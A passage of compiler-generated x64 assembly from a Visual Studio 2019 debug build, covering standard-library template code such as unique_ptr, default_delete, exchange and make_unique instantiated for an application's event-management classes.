??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z PROC ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><std::basic_string<char,std::char_traits<char>,std::allocator<char> > >, COMDAT
; 806 : constexpr allocator(const allocator<_Other>&) noexcept {}
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z ENDP ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\utility
; COMDAT ??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z
_TEXT SEGMENT
_Old_val$ = 8
_Val$ = 256
_New_val$ = 264
??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z PROC ; std::exchange<std::_Container_proxy *,std::nullptr_t>, COMDAT
; 596 : conjunction_v<is_nothrow_move_constructible<_Ty>, is_nothrow_assignable<_Ty&, _Other>>) /* strengthened */ {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__9BE6F741_utility
call __CheckForDebuggerJustMyCode
; 597 : // assign _New_val to _Val, return previous _Val
; 598 : _Ty _Old_val = static_cast<_Ty&&>(_Val);
mov rax, QWORD PTR _Val$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR _Old_val$[rbp], rax
; 599 : _Val = static_cast<_Other&&>(_New_val);
mov rax, QWORD PTR _Val$[rbp]
mov rcx, QWORD PTR _New_val$[rbp]
mov rcx, QWORD PTR [rcx]
mov QWORD PTR [rax], rcx
; 600 : return _Old_val;
mov rax, QWORD PTR _Old_val$[rbp]
; 601 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z ENDP ; std::exchange<std::_Container_proxy *,std::nullptr_t>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z
_TEXT SEGMENT
_Al$ = 224
_Ptr$ = 232
??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z PROC ; std::_Delete_plain_internal<std::allocator<std::_Container_proxy> >, COMDAT
; 1031 : void _Delete_plain_internal(_Alloc& _Al, typename _Alloc::value_type* const _Ptr) noexcept {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 1032 : // destroy *_Ptr in place, then deallocate _Ptr using _Al; used for internal container types the user didn't name
; 1033 : using _Ty = typename _Alloc::value_type;
; 1034 : _Ptr->~_Ty();
; 1035 : _Deallocate_plain(_Al, _Ptr);
mov rdx, QWORD PTR _Ptr$[rbp]
mov rcx, QWORD PTR _Al$[rbp]
call ??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ; std::_Deallocate_plain<std::allocator<std::_Container_proxy> >
; 1036 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ENDP ; std::_Delete_plain_internal<std::allocator<std::_Container_proxy> >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z
_TEXT SEGMENT
$T1 = 196
tv69 = 216
this$ = 256
__formal$ = 264
??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z PROC ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><std::default_delete<Domain::Event::EventHandler>,0>, COMDAT
; 2582 : constexpr unique_ptr(nullptr_t) noexcept : _Mypair(_Zero_then_variadic_args_t{}) {}
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR tv69[rbp], rax
movzx edx, BYTE PTR $T1[rbp]
mov rcx, QWORD PTR tv69[rbp]
call ??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><>
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z ENDP ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><std::default_delete<Domain::Event::EventHandler>,0>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z
_TEXT SEGMENT
$T1 = 200
$T2 = 228
$T3 = 260
tv80 = 280
tv78 = 288
this$ = 336
_Right$ = 344
??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z PROC ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement>,0>, COMDAT
; 2613 : : _Mypair(_One_then_variadic_args_t{}, _STD forward<_Dx2>(_Right.get_deleter()), _Right.release()) {}
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 344 ; 00000158H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 86 ; 00000056H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+376]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR tv80[rbp], rax
mov rcx, QWORD PTR _Right$[rbp]
call ?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::release
mov QWORD PTR $T1[rbp], rax
mov rcx, QWORD PTR _Right$[rbp]
call ?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::get_deleter
mov rcx, rax
call ??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z ; std::forward<std::default_delete<Domain::Event::EventManagement> >
mov QWORD PTR tv78[rbp], rax
movzx eax, BYTE PTR $T2[rbp]
mov BYTE PTR $T3[rbp], al
lea r9, QWORD PTR $T1[rbp]
mov r8, QWORD PTR tv78[rbp]
movzx edx, BYTE PTR $T3[rbp]
mov rcx, QWORD PTR tv80[rbp]
call ??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *>
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+312]
pop rdi
pop rbp
ret 0
??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z ENDP ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement>,0>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z
_TEXT SEGMENT
this$ = 224
__formal$ = 232
??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z PROC ; std::default_delete<Domain::Event::EventHandler>::default_delete<Domain::Event::EventHandler><Domain::Event::EventManagement,0>, COMDAT
; 2533 : default_delete(const default_delete<_Ty2>&) noexcept {}
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z ENDP ; std::default_delete<Domain::Event::EventHandler>::default_delete<Domain::Event::EventHandler><Domain::Event::EventManagement,0>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ
_TEXT SEGMENT
this$ = 224
?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ PROC ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Get_first, COMDAT
; 1346 : constexpr _Ty1& _Get_first() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 1347 : return *this;
mov rax, QWORD PTR this$[rbp]
; 1348 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ENDP ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Get_first
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ
_TEXT SEGMENT
$T1 = 200
this$ = 256
?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ PROC ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::release, COMDAT
; 2675 : pointer release() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
; 2676 : return _STD exchange(_Mypair._Myval2, pointer());
mov QWORD PTR $T1[rbp], 0
mov rax, QWORD PTR this$[rbp]
lea rdx, QWORD PTR $T1[rbp]
mov rcx, rax
call ??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z ; std::exchange<Domain::Event::EventManagement *,Domain::Event::EventManagement *>
; 2677 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ ENDP ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::release
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ
_TEXT SEGMENT
this$ = 224
?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ PROC ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::get_deleter, COMDAT
; 2651 : _NODISCARD _Dx& get_deleter() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
; 2652 : return _Mypair._Get_first();
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Get_first
; 2653 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ENDP ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::get_deleter
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ
_TEXT SEGMENT
tv77 = 192
tv75 = 200
this$ = 240
??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ PROC ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::~unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >, COMDAT
; 2645 : ~unique_ptr() noexcept {
$LN4:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 248 ; 000000f8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 62 ; 0000003eH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+280]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
; 2646 : if (_Mypair._Myval2) {
mov rax, QWORD PTR this$[rbp]
cmp QWORD PTR [rax], 0
je SHORT $LN2@unique_ptr
; 2647 : _Mypair._Get_first()(_Mypair._Myval2);
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Get_first
mov QWORD PTR tv77[rbp], rax
mov rax, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR tv75[rbp], rax
mov rdx, QWORD PTR tv75[rbp]
mov rcx, QWORD PTR tv77[rbp]
call ??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z ; std::default_delete<Domain::Event::EventManagement>::operator()
$LN2@unique_ptr:
; 2648 : }
; 2649 : }
lea rsp, QWORD PTR [rbp+216]
pop rdi
pop rbp
ret 0
??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ ENDP ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::~unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z
_TEXT SEGMENT
$T1 = 200
tv75 = 216
tv76 = 224
this$ = 272
_Ptr$ = 280
??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z PROC ; std::default_delete<Domain::Event::EventManagement>::operator(), COMDAT
; 2535 : void operator()(_Ty* _Ptr) const noexcept /* strengthened */ { // delete a pointer
$LN5:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 280 ; 00000118H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 70 ; 00000046H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+312]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
; 2536 : static_assert(0 < sizeof(_Ty), "can't delete an incomplete type");
; 2537 : delete _Ptr;
mov rax, QWORD PTR _Ptr$[rbp]
mov QWORD PTR $T1[rbp], rax
cmp QWORD PTR $T1[rbp], 0
je SHORT $LN3@operator
mov rax, QWORD PTR $T1[rbp]
mov rax, QWORD PTR [rax]
mov rax, QWORD PTR [rax+104]
mov QWORD PTR tv75[rbp], rax
mov edx, 1
mov rcx, QWORD PTR $T1[rbp]
call QWORD PTR tv75[rbp]
mov QWORD PTR tv76[rbp], rax
jmp SHORT $LN4@operator
$LN3@operator:
mov QWORD PTR tv76[rbp], 0
$LN4@operator:
; 2538 : }
lea rsp, QWORD PTR [rbp+248]
pop rdi
pop rbp
ret 0
??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z ENDP ; std::default_delete<Domain::Event::EventManagement>::operator()
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
_TEXT SEGMENT
$T1 = 200
$T2 = 232
$T3 = 260
tv81 = 280
tv82 = 288
__$ReturnUdt$ = 336
<_Args_0>$ = 344
??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z PROC ; std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>, COMDAT
; 2832 : _NODISCARD unique_ptr<_Ty> make_unique(_Types&&... _Args) { // make a unique_ptr
$LN8:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 344 ; 00000158H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 86 ; 00000056H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+376]
mov DWORD PTR $T3[rbp], 0
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
; 2833 : return unique_ptr<_Ty>(new _Ty(_STD forward<_Types>(_Args)...));
mov ecx, 472 ; 000001d8H
call ??2@YAPEAX_K@Z ; operator new
mov QWORD PTR $T2[rbp], rax
cmp QWORD PTR $T2[rbp], 0
je SHORT $LN3@make_uniqu
mov rcx, QWORD PTR <_Args_0>$[rbp]
call ??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z ; std::forward<TechnicalServices::Persistence::UserCredentials const &>
mov QWORD PTR tv81[rbp], rax
mov rdx, QWORD PTR tv81[rbp]
mov rcx, QWORD PTR $T2[rbp]
call ??0EventManagement@Event@Domain@@QEAA@AEBUUserCredentials@Persistence@TechnicalServices@@@Z ; Domain::Event::EventManagement::EventManagement
mov QWORD PTR tv82[rbp], rax
jmp SHORT $LN4@make_uniqu
$LN3@make_uniqu:
mov QWORD PTR tv82[rbp], 0
$LN4@make_uniqu:
mov rax, QWORD PTR tv82[rbp]
mov QWORD PTR $T1[rbp], rax
mov rdx, QWORD PTR $T1[rbp]
mov rcx, QWORD PTR __$ReturnUdt$[rbp]
call ??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> ><std::default_delete<Domain::Event::EventManagement>,0>
mov eax, DWORD PTR $T3[rbp]
or eax, 1
mov DWORD PTR $T3[rbp], eax
mov rax, QWORD PTR __$ReturnUdt$[rbp]
; 2834 : }
lea rsp, QWORD PTR [rbp+312]
pop rdi
pop rbp
ret 0
??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z ENDP ; std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>
_TEXT ENDS
; COMDAT text$x
text$x SEGMENT
$T1 = 200
$T2 = 232
$T3 = 260
tv81 = 280
tv82 = 288
__$ReturnUdt$ = 336
<_Args_0>$ = 344
?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA PROC ; `std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>'::`1'::dtor$0
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
push rbp
push rdi
sub rsp, 40 ; 00000028H
lea rbp, QWORD PTR [rdx+32]
mov edx, 472 ; 000001d8H
mov rcx, QWORD PTR $T2[rbp]
call ??3@YAXPEAX_K@Z ; operator delete
add rsp, 40 ; 00000028H
pop rdi
pop rbp
ret 0
?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA ENDP ; `std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>'::`1'::dtor$0
text$x ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; COMDAT text$x
text$x SEGMENT
$T1 = 200
$T2 = 232
$T3 = 260
tv81 = 280
tv82 = 288
__$ReturnUdt$ = 336
